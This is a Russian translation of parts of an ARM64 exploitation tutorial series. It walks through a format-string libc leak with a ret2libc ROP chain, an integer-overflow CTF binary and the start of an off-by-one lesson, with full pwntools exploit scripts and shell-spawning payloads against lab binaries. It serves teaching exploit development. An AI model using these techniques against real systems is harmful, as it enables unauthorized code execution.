Если мы вычтем адрес загрузки libc из адреса system(), мы еще раз получим значение 24. Следовательно, мы можем сделать вывод, что даже когда libc загружена по другому адресу, разность между адресом загрузки libc и адресом system(), будет все также равна 24. Это значение, также известно, как смещение. В следующем сценарии, в котором адрес загрузки libc, принимает значение 3000, мы можем вычислить, что адрес функции system() будет 3024. По аналогии, если нам известно, что адрес функции system() равен 3024, мы можем сделать обратный расчет и определить, что адрес загрузки libc равен 3000. Если мы можем выяснить адрес загрузки libc, мы также можем выяснить адреса остальных функций, добавляя их смещение. Значит, подводя итог мы можем утверждать, что:

p40.png


С помощью такого подхода, мы сможем извлекать адреса из стека, используя уязвимость форматной строки. В процессе этих действий, мы вычислим адрес загрузки libc, который позволит нам определить адреса ROP-гаджетов, функции system() и строки /bin/sh.

Для определения принадлежности извлеченного адреса libc, нам необходимо установить диапазон адресов, доступных библиотеке libc. Потом, мы можем передать множество спецификаторов формата, вроде %x для извлечения каких-нибудь значений из стека. Если мы выясним, что некий адрес входит в диапазон адресов libc, актуальный для выполняемого процесса, мы можем использовать этот извлеченный адрес для вычисления адреса загрузки libc. Другой подход, включает в себя проверку стека, перед вызовом printf() и выяснение адреса из диапазона адресов libc. Мы займемся этим далее.

Давайте приступим прямо сейчас.

Загрузите исполняемый файл в gdb, поставьте точку останова на функции main и запустите программу командой r.

17-1.png


После срабатывания точки останова, поставьте еще одну на функции printf(), которая внутри функции echo().

18-2.png


Давайте продолжим выполнение с помощью команды c.

19-1.png


В данный момент, программа ожидает ввода... Давайте введем последовательность %llx, чтобы считать значения из стека.

20-1.png


Выполним "Шаг с обходом" функции printf() с помощью команды ni.

21-1.png


Мы можем наблюдать на экране множество значений, добытых в результате утечки. Давайте проверим, содержатся ли среди этих значений какие-либо адреса из диапазона, занимаемого libc. В первую очередь, нам требуется определить диапазон адресов, отведенный библиотеке libc. Мы воспользуемся для этого командой vmmap.

22-1.png


Адрес 0x0000fffff7e00000, это адрес загрузки библиотеки libc, а Start и End указывают диапазон адресов. В ходе проверки значений, добытых через уязвимость форматной строки выяснилось, что ни одно из них не включает утечки адресов libc. Значит, чтобы найти утечку – придется проверять стек вручную.

*прим. переводчика – автор статьи скажет об этом в конце раздела, но и здесь это к месту - ASLR сейчас отключен из-за gdb, так что не удивляйтесь тому, что адрес загрузки libc 0x0000fffff7e00000 не изменится после перезапуска программы

Перезапустим программу еще раз и поставим точку останова, перед printf().

23-1.png


24-1.png


Выполнение программы, прервалось в точке останова. Давайте проанализируем содержимое стека с помощью команды e(x)amine.

p49.png


25-1.png


Значение 0x0000fffff7e26dc0 выглядит, как потенциальная утечка адреса из стека. Принимая во внимание диапазон адресов libc:

p51.png


Он в него попадает.

Теперь, нам необходимо вычислить адрес загрузки libc с помощью адреса утечки (0x0000fffff7e26dc0). Для достижения этого, мы должны рассчитать смещение между адресом утечки и адресом загрузки libc. С помощью этого способа, в следующий раз, когда адрес libc изменится мы сможем воспользоваться смещением и адресом утечки для вычисления адреса загрузки libc.

Давайте найдем смещение с помощью уравнения показанного ниже, которое мы составили ранее в этой статье.

p52.png


Итак, мы вычислили смещение: 0x26DC0.

В следующий раз, когда адрес загрузки libc изменится, мы сможем просто использовать адрес утечки и смещение для вычисления адреса загрузки libc.

p53.png


Следующий вопрос, это как получить этот же адрес через уязвимость форматной строки. Чтобы это сделать, в первую очередь необходимо определить его положение в стеке. Давайте вычислим его прямо сейчас.

Адрес утечки 0x0000fffff7e26dc0, находится по адресу 0xfffffffff378 в стеке. Давайте вычислим дистанцию между этим адресом и вершиной стека.

p54.png


Для вычисления порядкового номера в стеке, для нашего адреса утечки (0x0000fffff7e26dc0), мы можем просто разделить 0x58 на 8, т. к. адреса представлены в виде 8 байтовых значений. Деление 0x58 на 8 даст нам 11 (в десятичном представлении). Значит, адрес утечки находится на 11 месте от вершины стека. Мы также можем найти это и вручную.

26-1.png


Мы обозначили 0xfffffffff320 как 0, считая порядковые номера от вершины стека. Однако при использовании форматной строки, мы должны учесть и эту позицию. Если коротко, то нам нужно узнать значение из 12 позиции в стеке.

Следующий вопрос заключается в том, как нам вытащить этот адрес используя форматную строку. Вместо отправки определенного количества спецификаторов %llx, чтобы достичь позиции адреса утечки, мы можем провернуть простой трюк для получения адреса, путем отправки единственного спецификатора формата.

Давайте запустим программу и введем несколько %llx.

27.png


Эти четыре значения, получены из регистров. Если мы хотим получить второе значение непосредственно, мы можем использовать %2$llx.

28.png


По аналогии, если мы хотим получить четвертое значение, можно ввести %4$llx.

Для получения адреса утечки из libc, нам нужна точная позиция. Давайте ее вычислим. Первые семь значений, раскрытые через форматную строку – это регистры x1 ... x7, затем пойдут значения из стека. Таким образом, искомой позицией будет 7 (значения регистров) + порядковый номер, считая с вершины стека = 7 + 12 = 19.

Давайте загрузим исполняемый файл в gdb и убедимся, что значения утечки идентичны.

29.png


Мы можем наблюдать, что это тот же адрес утечки, который мы видели ранее. Вы также можете это проверить с помощью команды vmmap. Вы возможно удивитесь тому, что мы наблюдаем одни и те же значения и сейчас и раньше, хотя ASLR включен. Дело в том, что при запуске внутри gdb ASLR по-умолчанию отключен, и из-за этого адреса остаются неизменными.

Скрипт эксплоита

Сейчас у нас практически все готово для написания эксплоита. Мы воспользуемся для этого библиотекой pwntools. Если она у вас еще не установлена, вы можете обратиться к их документации: https://docs.pwntools.com/en/stable/.

Давайте приступим к написанию эксплоита.

Python:
#!/usr/bin/python3

p = process(argv=["./bof"])
  • p: это переменная, представляющая процесс.
  • process: порождает новый процесс и оболочку для его связи с инструментами pwntools.
  • argv: это аргумент передаваемый запускаемому вами процессу. В данном случае у вас нет аргументов командной строки, значит вы указываете только имя программы.
В первую очередь мы должны отправить в программу %19$llx для захвата адреса утечки.

Python:
#!/usr/bin/python3

from pwn import * #Importing the pwn library

p = process(argv=["./bof"])

p.recvuntil(">")

p.recvuntil(b">") будет принимать данные до тех пор, пока висит ">". Теперь мы можем отправить в программу спецификатор формата %19$llx, с помощью функции sendline(). Символ b перед ">" в строке p.recvuntil(b">") означает, что аргумент следует воспринимать, как байтовый литерал, а не обычную строку.

Python:
#!/usr/bin/python3

from pwn import *

p = process(argv=["./bof"])

p.recvuntil(b">")

p.sendline(b"%19$llx")

30.png


После отправки в программу спецификатора формата %19$llx, мы получим адрес утечки в новой строке выходных данных. Для захвата этого адреса утечки с помощью pwntools, мы можем использовать функцию recvline().

Python:
#!/usr/bin/python3

from pwn import *

p = process(argv=["./bof"])

p.recvuntil(b">")

p.sendline(b"%19$llx")

leaked_libc = int(p.recvline().strip(),16)

print("The leaked libc address is " + hex(leaked_libc)) #converts the value into hex
  • p.recvline(): Эта функция применяется для приема строки выходных данных от процесса p. Она читает данные из процесса до тех пор, пока не встретит символ новой строки ('\n').
  • .strip(): метод .strip() используется для удаления всех лидирующих и завершающих символов (таких, как пробелы и символы новой строки) из полученных данных.
  • int(..., 16): Функция int() используется для преобразования "сырой" строки в целочисленное значение. Аргумент 16 указывает, что строку следует интерпретировать в шестнадцатеричном представлении.
Давайте запустим этот скрипт и посмотрим, работает ли он так, как надо.

31.png


Скрипт работает прекрасно. Так как мы уже знаем, как вычислить адрес загрузки libc, давайте теперь обновим скрипт, чтобы его рассчитать.

Python:
#!/usr/bin/python3

from pwn import *

p = process(argv=["./bof"])

p.recvuntil(b">")

p.sendline(b"%19$llx")

leaked_libc = int(p.recvline().strip(),16)

libc_offset = 0x26DC0

libc_base   = leaked_libc - libc_offset #libc_base =  leaked_address - offse

print("The leaked libc address is " + hex(leaked_libc)) #converts the value into hex

print("The libc base address is " + hex(libc_base)) #converts the value into hex

Давайте запустим скрипт.

32.png


Мы успешно вычислили адрес загрузки libc. С этой информацией, мы можем вычислить адреса ROP-гаджетов, функции system() и строки /bin/sh.

Атака Return-2-Libc

Перед продолжением, давайте разберемся, что такое атака Ret2Libc. Эта техника предполагает перехват управления функцией system() в библиотеке и libc и использования ее для открытия шелла. Это можно использовать для выполнения команд, собственно в шелле. Функция system() принимает только один аргумент и он интерпретируется, как команда.

Давайте рассмотрим простой пример.

C:
#include <stdio.h>

void main(){

system("/bin/sh");

}

Скомпилируем этот код.

Bash:
gcc system.c -o system

Если мы выполним эту программу, запустится командный интерпретатор sh.

Bash:
debian@debian:~/pwn/ASLR$ ./system
$ id
uid=1000(debian) gid=1000(debian) groups=1000(debian),100(users)
$

Как вы можете видеть, мы получили шелл. Аналогичным образом, мы можем задействовать ROP-цепочки для вызова функции system() с /bin/sh в качестве аргумента. Так как функция system() принимает только один аргумент, нам нужен только регистр x0 с находящимся в нем адресом строки /bin/sh.

Во-первых, давайте найдем ROP-гаджеты для этой задачи. Загрузим libc в ropper.

Bash:
fuzzing-android@fuzzingandroid:~/Desktop/tmp$ ropper
(ropper)> file libc.so.6

Если вы новичок в ROP-цепочках, я советую прочесть 4 часть нашего цикла статей, в которой подробно описано как находить ROP-гаджеты и составлять ROP-цепочки с помощью ropper.

Давайте попытаемся найти гаджет с регистром x0, содержащим адрес строки /bin/sh.

p71.png


33.png


Мы нашли потенциальный гаджет.

p73.png


Значение 0x0000000000068e40, представляет смещение этого гаджета. Значит нам нужно сложить это смещение и адрес загрузки libc, чтобы получить реальный адрес гаджета.

Теперь, давайте обновим наш скрипт.

Python:
#!/usr/bin/python3

from pwn import *

p = process(argv=["./bof"])

p.recvuntil(b">")

p.sendline(b"%19$llx")

leaked_libc = int(p.recvline().strip(),16)

libc_offset = 0x26DC0

gadget_offset = 0x0000000000068e40  #0x0000000000068e40: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

libc_base   = leaked_libc - libc_offset #libc_base =  leaked_address - offset

gadget_address = libc_base + gadget_offset

print("The leaked libc address is " + hex(leaked_libc)) #converts the value into hex

print("The libc base address is " + hex(libc_base)) #converts the value into hex

Давайте обновим скрипт еще раз, добавив пейлоад для переполнения буфера и после этого проверим, работают ли наши гаджеты.

Python:
#!/usr/bin/python3

from pwn import *

p = process(argv=["./bof"])

p.recvuntil(b">")

p.sendline(b"%19$llx")

leaked_libc = int(p.recvline().strip(),16)

libc_offset = 0x26DC0

gadget_offset = 0x0000000000068e40  #0x0000000000068e40: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

libc_base   = leaked_libc - libc_offset #libc_base =  leaked_address - offset

gadget_address = libc_base + gadget_offset

print("The leaked libc address is " + hex(leaked_libc)) #converts the value into hex

print("The libc base address is " + hex(libc_base)) #converts the value into hex

p.recvuntil(b">")

junk = b"A" * 72

p.sendline(junk + p64(gadget_address))

Однако, если требуется отлаживать исполняемый файл в gdb вместе с использованием этого скрипта, мы должны внести небольшую корректировку.

Python:
p = process(argv=["gdbserver",":5555","./bof"])

Показанная выше корректировка, позволит нам удаленно отлаживать исполняемый файл, с помощью gdb-сервера и gdb-клиента на порту 5555. В итоге, скрипт выглядит как:

Python:
#!/usr/bin/python3

from pwn import *

p = process(argv=["gdbserver",":5555","./bof"])

p.recvuntil(b">")

p.sendline(b"%19$llx")

leaked_libc = int(p.recvline().strip(),16)

libc_offset = 0x26DC0

gadget_offset = 0x0000000000068e40  #0x0000000000068e40: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

libc_base   = leaked_libc - libc_offset #libc_base =  leaked_address - offset

gadget_address = libc_base + gadget_offset

print("The leaked libc address is " + hex(leaked_libc)) #converts the value into hex

print("The libc base address is " + hex(libc_base)) #converts the value into hex

p.recvuntil(b">")

junk = b"A" * 72

p.sendline(junk + p64(gadget_address))

p.interactive() #lets you interact with  the program

Давайте запустим этот скрипт.

34.png


Сейчас gdbserver запущен и ожидает подключений от gdb-клиента.

Давайте откроем еще одну вкладку и запустим gdb.

35.png


Bash:
debian@debian:~/pwn/ASLR$ gdb ./bof
 
Последнее редактирование:
Мы можем использовать функцию удаленной отладки из gef, чтобы присоединиться к процессу исполняемого файла через gdbserver.

p81.png


36.png


Сейчас запущена процедура удаленной отладки. Давайте поставим точку останова на инструкции ret функции echo().

37.png


Продолжим выполнение с помощью команды c.

38.png


Мы достигли нашей точки останова. Если мы выполним "Шаг с обходом", используя команду ni, то мы перейдем к нашей ROP-цепочке.

39.png


Как вы можете видеть, сейчас мы выполняем наш первый ROP-гаджет. Похоже ROP-гаджеты работают, как задумано.

Далее, давайте определим позицию во входных данных, которая будет загружена в регистр x0. Нам необходимо передать адрес строки /bin/sh в регистр x0, а также перезаписать регистр x30 адресом функции system(). Мы можем добиться этого либо вручную, либо передав шаблон. Мы передадим шаблон, воспользовавшись инструментом, который мы уже применяли https://wiremask.eu/tools/buffer-overflow-pattern-generator/.

Python:
#!/usr/bin/python3

from pwn import *

p = process(argv=["gdbserver",":5555","./bof"])

p.recvuntil(b">")

p.sendline(b"%19$llx")

leaked_libc = int(p.recvline().strip(),16)

libc_offset = 0x26DC0

gadget_offset = 0x0000000000068e40  #0x0000000000068e40: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

libc_base   = leaked_libc - libc_offset #libc_base =  leaked_address - offset

gadget_address = libc_base + gadget_offset

print("The leaked libc address is " + hex(leaked_libc)) #converts the value into hex

print("The libc base address is " + hex(libc_base)) #converts the value into hex

p.recvuntil(b">")

junk = b"A" * 72

pattern = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3"

p.sendline(junk + p64(gadget_address) + pattern)

p.interactive() #lets you interact with  the program

Повторим те же шаги по отладке, которые делали чуть раньше.

40.png


Мы выполнили все инструкции ROP. Теперь давайте проверим регистры, чтобы найти смещение.

41.png


42.png


43.png


Итак, смещение x0 равно 24, а x30 - 8. Теперь осталась всего одна задача – определить смещения для /bin/sh и system().

Чтобы найти смещение функции system(), загрузим бинарник в gdb, поставим точку останова на функции main и запустим программу. Вы можете использовать команду print(), чтобы извлечь адрес.

p91.png


Давайте вычтем этот адрес из базового адреса libc, чтобы получить смещение.

p92.png


Для получения базового адреса libc, можете использовать команду vmmap.

p93.png


Базовый адрес libc равен 0x0000fffff7e00000.

p94.png


Итак, смещение функции system() равно 0x49164. Теперь нам нужно найти смещение строки /bin/sh. Первый вопрос, состоит в следующем: где нам вообще искать эту строку? К счастью для нас, эта строка доступна в нашей библиотеке libc. Мы можем применить для этого утилиту strings. Вы также можете это сделать с помощью gef.

Bash:
fuzzing-android@fuzzingandroid:~/Desktop/tmp$ strings -t x libc.so.6 | grep -i "/bin/sh"
 14e780 /bin/sh
fuzzing-android@fuzzingandroid:~/Desktop/tmp$

Смещение строки /bin/sh равно 0x14e780. Теперь у нас есть смещения и для system() и для строки /bin/sh. Давайте вычислим их реальные адреса и обновим наш скрипт до готового к применению.

Python:
#!/usr/bin/python3

from pwn import *

p = process(argv=["./bof"])

p.recvuntil(b">")

p.sendline(b"%19$llx")

leaked_libc = int(p.recvline().strip(),16)

libc_offset = 0x26DC0

system_offset = 0x49164

bin_sh_offset = 0x14e780

gadget_offset = 0x0000000000068e40  #0x0000000000068e40: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

libc_base   = leaked_libc - libc_offset #libc_base =  leaked_address - offset

gadget_address = libc_base + gadget_offset

print("The leaked libc address is " + hex(leaked_libc)) #converts the value into hex

print("The libc base address is " + hex(libc_base)) #converts the value into hex

system_adr = libc_base + system_offset

bin_sh_adr =  libc_base + bin_sh_offset

p.recvuntil(b">")

junk = b"A" * 72

padding = b"A" * 8 # Padding to reach x0 and x30

p.sendline(junk + p64(gadget_address) + padding  + p64(system_adr) + padding + p64(bin_sh_adr) )

p.interactive() #lets you interact with  the program

Мы запустим этот скрипт без подключения gdb серверу. Погнали!

44.png


Наконец-то! Мы таки добыли шелл!!!
 
ARM64 РЕВЕРСИНГ И ЭКСПЛУАТАЦИЯ ЧАСТЬ 8 – эксплуатация уязвимости целочисленного переполнения
Переведено для xss.pro.
Оригинальная статья: 8ksec[.]io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/
Автор статьи 8ksecresearch.
Автор перевода handersen.


Всем привет!

В этой статье мы будем рассматривать целочисленное переполнение и его возможности по созданию уязвимостей в вашем программном обеспечении. Мы подробно проанализируем небольшой исполняемый файл из CTF для иллюстрации этих угроз. Перед тем как мы начнем, убедитесь, что достаточно хорошо владеете темами, перечисленными ниже.

Необходимый уровень подготовки
  • Знание инструкций ассемблера ARM64.
  • Настроенное окружение ARM64 с gef (https://hugsy.github.io/gef/).
  • Способность читать и понимать код на языке C.
Если вы в этом новичок, советуем изучить нашу серию по эксплуатации ARM64.
  • ARM64 реверсинг и эксплуатация часть 0x1
  • ARM64 реверсинг и эксплуатация часть 0x2
  • ARM64 реверсинг и эксплуатация часть 0x3
  • ARM64 реверсинг и эксплуатация часть 0x4
  • ARM64 реверсинг и эксплуатация часть 0x5
  • ARM64 реверсинг и эксплуатация часть 0x6
  • ARM64 реверсинг и эксплуатация часть 0x7
Целочисленное переполнение

Итак, что такое целочисленное переполнение?

Попросту говоря, это разновидность арифметического переполнения, которое происходит в случае, когда результат целочисленной операции не вмещается в выделенную область памяти. Само по себе, целочисленное переполнение не вызывает значительных проблем. Однако оно может приводить к другим уязвимостям, таким как переполнение буфера, которые могут закончиться серьезными проблемами безопасности. Например, если в ПО есть функция, которая может вызвать переполнение буфера и она защищена путем проверки границ – целочисленное переполнение в самом механизме проверке, позволит обойти защиту и вызвать переполнение буфера.

Если вы посетите страницу с ТОП-25 уязвимостей на сайте Mitre вы заметите, что целочисленное переполнение вполне актуально и занимает 14 место.

1-1.png

Чтобы всесторонне изучить эту уязвимость, нам нужно вспомнить типы данных языка C. Давайте по-быстрому рассмотрим их, для лучшего понимания дальнейшего материала.

2-1.png


В этой таблице вы можете видеть различные типы данных, используемые в языке C, вместе с диапазонами, которые они занимают в памяти. Столбец "Range", содержит информацию о значениях, которые эти типы данных могут вместить.

Давайте разберем пример – если вы обратите внимание на тип данных unsigned short int, он сохраняет только положительные значения в диапазоне от 0 до 65535. Из этого следует, что наименьшее значение, которое он может принимать равно 0, а наибольшее 65535. А как вы думаете, что произойдет, если мы попытаемся втиснуть туда значение более 65535? Давайте выясним.

C:
#include <stdio.h>

int main()
{
    unsigned short int a = 65535;
    printf("%d",a);


    return 0;
}

Внимательно рассмотрите программу выше. Мы объявили переменную unsigned short int a и присвоили ей значение, максимальное для этого типа данных.

Давайте скомпилируем и запустим программу. Можете воспользоваться онлайн компилятором: https://www.onlinegdb.com/

3-1.png


Программа предсказуемо напечатала значение, сохраненное в переменной a. Давайте прибавим к ней единицу и посмотрим, что получится.

C:
#include <stdio.h>

int main()
{
    unsigned short int a = 65535+1;
    printf("%d",a);


    return 0;
}

4-1.png


Программа выдала 0 !!! Если мы глянем на предупреждающие сообщения, они сигнализируют о переполнении. Итак, что же в действительности произошло?

Давайте выяснять с помощью калькулятора.

5.png


Наибольшее значение, которое вмещается в переменную unsigned short int равно 65535. Размерность этого типа данных 2 байта или 16 бит. Глядя на калькулятор мы видим, что все эти 16 бит заполнены. Давайте прибавим единицу к 65535 изменив значение на 65536.

6-1.png


Сейчас, если вы внимательно посмотрите на подсвеченную последовательность, в двоичном представлении, то заметите, что правые 16 бит все равны нулю. В добавок, в поле двоичного представления отобразились дополнительные 4 бита. Таким образом, значение 0001 0000 0000 0000 0000 использовано для представления 65536, которое больше не умещается в размер 2 байта (16 бит). Так как для размерности unsigned short int, только 16 бит могли быть использованы для представления значения, в результате получился ноль, потому что правые 16 бит все равны нулю (что также эквивалентно нулю в десятичном представлении).

Вкратце подытожим – когда мы вводим значение более 65535, оно выйдет за пределы диапазона unsigned short int составляющие 2 байта и произойдет переполнение, как видно в поле двоичного представления в калькуляторе и заполнение нулями (конкретно последних 16 бит с правого края). В результате, значение станет равным нулю.

Подопытный бинарник

Итак, давайте попробуем решить задачу – возьмем приведенный ниже код на C.

C:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void check(char* password);

void win() {
    printf("Congrats You won you got a shell :)\n\n");
    system("/bin/sh");
}

int main(int argc, char* argv[]) {
    if (argc != 2) {
        printf("Provide me one argument\n");
        exit(0);
    }
    check(argv[1]);
    return 0;
}

void check(char* password) {
    char buffer[10];
    int user_win = 0;
    unsigned char length = strlen(password);
    printf("Welcome... Try getting a shell\n");
    printf("Length of your input is: %d\n", length);
    if (length >= 4 && length <= 8) {
        strcpy(buffer, password);
        if (user_win == 0x42424242) {
            win();
        } else {
            printf("You lost\n");
        }
    } else {
        printf("Keep the length between 4 and 8\n");
    }
}

Наша цель здесь – вызвать функцию win(). Для лучшего понимания, давайте изучим код.

Эта программа ожидает на входе некий аргумент и он в свою очередь, будет будет передан в функцию check(), содержащую три локальные переменные:

C:
char buffer[10];
int user_win = 0;
unsigned char length = strlen(password);

Переменная length это результат вычисления длины входных данных, переданных функции check(). Если длина укладывается в пределы от 4 до 8 (включительно), данные из параметра password копируются в массив buffer. Потом, выполняется сравнение значения в user_win с 0x42424242 (Hex). Если они совпадут, будет вызвана функция win(). Для того, чтобы вызвать функцию win(), нам нужно вызвать в программе переполнение буфера. К счастью для копирования пользовательского ввода, в программе применяется функция strcpy(). Однако там есть ловушка, в виде проверки перед использованием strcpy(). А значит простая отправка последовательности букв ‘А’, в этот раз не сработает. Хотя, всмотревшись в код достаточно внимательно – вы сможете найти еще одну уязвимость:

C:
unsigned char length = strlen(password);

Да, вы угадали! В переменной length существует целочисленное переполнение и она используется при проверке вводимых данных. Значит мы сможем обойти проверку, злоупотребив целочисленным переполнением.

Давайте скомпилируем исходник и запустим исполняемый файл.

Bash:
gcc integer.c -o integer

Bash:
8ksec@debian:~/lab/challenges/integer_overflow$ ./integer Hello
Welcome... Try getting a shell
Length of your input is: 5
You lost

Давайте попробуем длиннющий ввод.

Bash:
8ksec@debian:~/lab/challenges/integer_overflow$ ./integer AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Welcome... Try getting a shell
Length of your input is: 80
Keep the length between 4 and 8

Ну, как мы и думали – проверка ввода, предотвращает возможность переполнения буфера.

Теперь давайте рассмотрим тип данных unsigned char.

unsigned char применяется для представления символьного типа данных без знака в языках программирования C и C++. Это основной тип данных, который позволяет хранить целые значения маленького размера в диапазоне от 0 до 255 (или 0x00 до 0xFF hex) и как правило, занимает в памяти 1 байт. Соответственно верхний предел – 255. Давайте посмотрим, что произойдет, если мы попытаемся сохранить значение больше чем 255.

7.png


К гадалке не ходи, у нас целочисленное переполнение. Мы можем проверить это с помощью калькулятора.

8.png


Давайте попробуем еще раз прибавить единицу.

C:
#include <stdio.h>

int main()
{
    unsigned char a = 256 + 1;
    printf("%d",a);


    return 0;
}

9.png


Теперь мы получили на выходе 1. Если мы снова прибавим единицу, то получим 2 и так далее. Такое поведение происходит из-за того, что unsigned char оборачивается вокруг нуля (как часовая стрелка за 12 часов), после того, как выйдет за предел значения 255. Значит, чтобы обойти проверку мы просто должны отправить на вход более 255 символов, что позволит нам обойти проверку и вызвать переполнение буфера.

Давайте пробовать.

Bash:
8ksec@debian:~/lab/challenges/integer_overflow$ (python3 -c 'print("A" * 256)')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
8ksec@debian:~/lab/challenges/integer_overflow$ ./integer $(python3 -c 'print("A" * 256)')
Welcome... Try getting a shell
Length of your input is: 0
Keep the length between 4 and 8
8ksec@debian:~/lab/challenges/integer_

Теперь переменная length, отобразилась как 0. Для обхода проверки, нам требуется значение length от 4 до 8. Значит зашлем 260 символов.

Bash:
8ksec@debian:~/lab/challenges/integer_overflow$ ./integer $(python3 -c 'print("A" * 260)')
Welcome... Try getting a shell
Length of your input is: 4
You lost
Segmentation fault

Теперь мы успешно обошли проверку и вызвали переполнение буфера, программа аварийно завершила работу.

Следующая задача, присвоить переменной user_win значение 0x42424242, таким образом мы сможем вызвать нашу функцию win(). Во первых, нам нужно выяснить, какие входные данные перезапишут переменную user_win. Мы используем для этого шаблон: https://wiremask.eu/tools/buffer-overflow-pattern-generator/

10.png


Давайте запустим исполняемый файл в gdb.

Bash:
8ksec@debian:~/lab/challenges/integer_overflow$ gdb ./integer

Теперь дизассемблируем функцию check().

p23.png


11.png


Строка 0x00000000000009b8 <+108>: cmp w1, w0 сравнивает, равна ли переменная user_win 0x42424242. Так как Позиционно Независимое Выполнение (PIE), включено – адреса еще не загружены. Поэтому нужно установить точку останова на функцию main() и запустить программу, для отладки.

p25.png


Давайте также передадим в программу шаблон, в качестве аргумента.

Bash:
gef➤  r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai

12.png


Сейчас, когда сработала точка останова и адреса загрузились, давайте найдем адрес инструкции cmp и поставим там точку останова.

13.png


p29.png


Продолжим выполнение с помощью команды c, до тех пор пока программа не прервется в точке останова.

14.png


Давайте сейчас проверим содержимое регистров w1 и w0. w0 содержит шаблон, который мы ввели, а w1 значение 0x42424242. Мы уже знаем, что BBBB соответствует 0x42424242.

Давайте выясним смещение для переменной user_win.

15.png



Это 12. Теперь, когда нам известно смещение и значение, которым нужно переписать user_win, пейлоад будет таким:

Python:
payload = 12 * "A"s + BBBB + (260 - 12 - 4) * "A"s

Давайте его заюзаем.

Bash:
8ksec@debian:~/lab/challenges/integer_overflow$ ./integer $(python3 -c 'print("A" * 12 + "BBBB" + (260 - 12 - 4) * "A")')


16.png


В итоге, мы обошли проверку, вызвали функцию win() спровоцировав переполнение буфера и заполучили наш шелл!
 
ARM64 РЕВЕРСИНГ И ЭКСПЛУАТАЦИЯ ЧАСТЬ 9 – эксплуатация уязвимости "переполнение одним байтом" (off by one byte overflow)
Переведено для xss.pro.
Оригинальная статья: 8ksec[.]io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/
Автор статьи 8ksecresearch.
Автор перевода handersen.

Всем привет! В этой статье мы детально рассмотрим новую уязвимость, под названием переполнение одним байтом. Однако перед тем как мы погрузимся в детали, нам понадобится кое-что для работы.
  • Знание инструкций ассемблера ARM64.
  • Знание процесса эксплуатации переполнения буфера в стеке.
  • Настроенное окружение ARM64 с gef (https://hugsy.github.io/gef/) и gdb.
  • Способность читать и понимать код на языке C.
Если вы новичок в этих вещах, советуем изучить нашу серию по эксплуатации ARM64.
  • ARM64 реверсинг и эксплуатация часть 0x1
  • ARM64 реверсинг и эксплуатация часть 0x2
  • ARM64 реверсинг и эксплуатация часть 0x3
  • ARM64 реверсинг и эксплуатация часть 0x4
  • ARM64 реверсинг и эксплуатация часть 0x5
  • ARM64 реверсинг и эксплуатация часть 0x6
  • ARM64 реверсинг и эксплуатация часть 0x7
  • ARM64 реверсинг и эксплуатация часть 0x8
Вступление

Давайте обсудим уязвимость "переполнение одним байтом".

Название недвусмысленно намекает, что "переполнение одним байтом" относится к отдельному виду переполнения, которое происходит всего из-за одного байта данных. Это может происходить из-за ошибок в том, как в программном обеспечении проверяются границы – особенно это касается массивов, строк или других структурированных данных. Такие переполнения могут случаться как при чтении, так и при записи данных. Вы можете удивиться, как всего один байт может оказаться причиной значительного урона. Давайте рассмотрим пример, чтобы это выяснить.

C:
#include <stdio.h>

int main() {
  char buffer[10];
  for (int i = 0; i <= 10; i++) {
    buffer[i] = 'a';
  }

  printf("The contents of the buffer are: %s\n", buffer);

  return 0;
}

Посмотрите на программу выше – на первый взгляд она выглядит, как вполне нормальная программа. Давайте посмотрим, что произойдет, когда мы скомпилируем и запустим ее.

Bash:
8ksec@debian:~/lab/challenges/off_by_one$ gcc off.c -o off
8ksec@debian:~/lab/challenges/off_by_one$ ./off
The contents of the buffer are: aaaaaaaaaaa

Вы нашли баг, который искали?

Ошибка находится в цикле. В программе есть буфер на 10 байт, однако счетчик цикла увеличился до записи 11 байт в буфер, перезаписав нулевой байт. Так как элементы в буфере начинаются с 0 и он имеет размер 10 байт, условие цикла должно быть i < 10, чтобы предотвратить выход за границы буфера.

C:
for (int i = 0; i < 10; i++) {
  buffer[i] = 'a';
}

Рассмотрим еще один пример.

C:
#include <stdio.h>

void main(){

  char s[5] = "Hello";
  for (int i =0 ;i <= 5; i++){
  printf("%c",s[i]);
  }
  printf("\n");


}

Это похоже на прошлый пример, но в данном случае – выполняется чтение. Функция printf() в цикле, производит чтение за границами буфера.

Давайте скомпилируем пример и посмотрим, что на выходе.

1.png


Как мы видим, после печати ‘Hello’, мы встретили странный непечатный символ. Это случилось из-за того, что printf() прочитала из массива на один байт больше, чем нужно.

Упражнение

Давайте тщательно изучим код на C:

C:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

struct B2{
    int (*ptr)();
    char c[128];
};

struct B1{
